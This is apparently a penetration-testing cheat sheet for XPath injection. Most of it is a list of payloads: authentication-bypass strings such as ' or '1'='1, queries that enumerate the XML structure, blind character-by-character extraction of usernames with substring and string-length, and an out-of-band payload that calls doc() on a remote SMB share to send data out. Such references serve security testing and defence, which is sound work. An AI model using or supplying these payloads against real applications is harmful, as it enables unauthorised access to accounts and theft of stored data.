# XPATH injection
> XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.
## Summary
* [Exploitation](#exploitation)
* [Blind exploitation](#blind-exploitation)
* [Out Of Band Exploitation](#out-of-band-exploitation)
* [Tools](#tools)
* [References](#references)
## Exploitation
Similar to SQL : `"string(//user[name/text()='" +vuln_var1+ "' and password/text()=" +vuln_var1+ "']/account/text())"`
```sql
' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
search=')] | //user/*[contains(*,'
search=Har') and contains(../password,'c
search=Har') and starts-with(../password,'c
```
## Blind Exploitation
1. Size of a string
```sql
and string-length(account)=SIZE_INT
```
2. Extract a character
```sql
substring(//user[userid=5]/username,2,1)=CHAR_HERE
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
```
## Out Of Band Exploitation
```powershell
http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/SHARE')
```
